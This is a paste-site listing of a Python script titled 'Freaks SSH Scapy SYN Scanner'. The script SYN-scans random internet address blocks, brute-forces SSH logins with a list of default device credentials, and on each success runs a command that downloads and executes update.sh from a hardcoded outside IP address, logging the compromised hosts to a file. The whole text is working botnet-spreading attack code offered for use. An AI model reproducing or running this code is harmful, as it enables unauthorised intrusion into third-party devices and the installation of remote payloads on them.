KekSec icon

Freaks SSH Scapy SYN Scanner (SLOW)

KekSec | PRO | 08/02/18 07:21:57 AM UTC | 0 ⭐ | 1343 👁️ | Never ⏰ | []
Python |

3.61 KB

|

None

|

0 👍

/

0 👎

import logging
from scapy.all import *
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Disable the annoying No Route found warning !
import sys, re, os, paramiko, socket, random, itertools
from threading import Thread
from time import sleep
paramiko.util.log_to_file("/dev/null")
rekdevice="cd /tmp; wget http://185.10.68.196/update.sh; busybox wget http://185.10.68.196/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh" #command to send
 
print "S-S-SUUUPER fast SSH scanner by Freak"
print
 
maxthreads = int(raw_input("Threads: "))
 
global fh
fh = open("vulnz.txt","a+")
 
global passwords
passwords = [
    "root:root",
    "root:admin",
    "root:password",
    "root:default",
    "root:toor",
    "admin:admin",
    "admin:1234",
    "ubnt:ubnt",
    "vagrant:vagrant",
    "root:ubnt",
    "telnet:telnet",
    "guest:guest",
    "root:vagrant",
    "pi:raspberry",
    "default:",
    "admin:password",
    "cisco:cisco",
    "root:5up",
    "user:password",
    "user:user",
    "root:debian",
    "root:alpine",
    "root:ceadmin",
    "root:indigo",
    "root:linux",
    "root:rootpasswd",
    "root:timeserver"
]
 
 
def SSHBrute(IP):
    global fh
    global passwords
    cracked = False
    for passwd in passwords:
        if cracked:
            return
        try:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(IP, port = 22, username=passwd.split(":")[0], password=passwd.split(":")[1], key_filename=None, timeout=3)
            print "Freaks next root ->"+ passwd + ":" + IP
            cracked = True
            fh.write(passwd + ":" + IP + "\n")
            fh.flush()
            ssh.exec_command(rekdevice)
            sleep(20)
            ssh.close()
        except Exception as e:
            pass
            
def cook(pkt):
    try:
        global fh
        if pkt[TCP].flags == 18 and pkt[IP].src:
            print "22 port opened: %s " % (pkt[IP].src)
            threadstarted = False
            while not threadstarted:
                try:
                    Thread(target = SSHBrute, args = (pkt[IP].src,)).start()
                    threadstarted = True
                except:
                    pass
                sleep(1)
    except Exception as e:
        pass
 
def sniffer():
    sniff(filter="tcp and dst port 1337 and src port 23", prn=cook)
 
def gen_IP_block():
    first = random.choice(["2", "5", "31", "37", "46", "94", "95", "118", "119", "122", "161", "168", "176", "178", "179", "180", "183", "185", "187", "188", "191", "198", "201"])
    ip = ".".join([str(first),str(random.randrange(1,256)),
    str(random.randrange(1,256))])
    return ip+".0-255"
 
def ip_range(input_string, timeout=0.2):
    octets = input_string.split('.')
    chunks = [map(int, octet.split('-')) for octet in octets]
    ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
    s = conf.L3socket(iface='eth0')
    for address in itertools.product(*ranges):
        address ='.'.join(map(str, address))
        pkt = IP()/TCP(sport=1337, dport=23, flags="S")
        pkt[IP].dst = address
        s.send(pkt)
 
def HaxThread():
    while 1:
        ip_range(gen_IP_block())
 
Thread(target = sniffer, args = ()).start()
global threads
threads = 0
for i in xrange(0,maxthreads):
    try:
        Thread(target = HaxThread, args = ()).start()
        threads += 1
    except Exception as e:
        pass
 
print "Started " + str(threads) + " scanner threads! Press enter to stop."
 
raw_input()
os.kill(os.getpid(), 9)

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎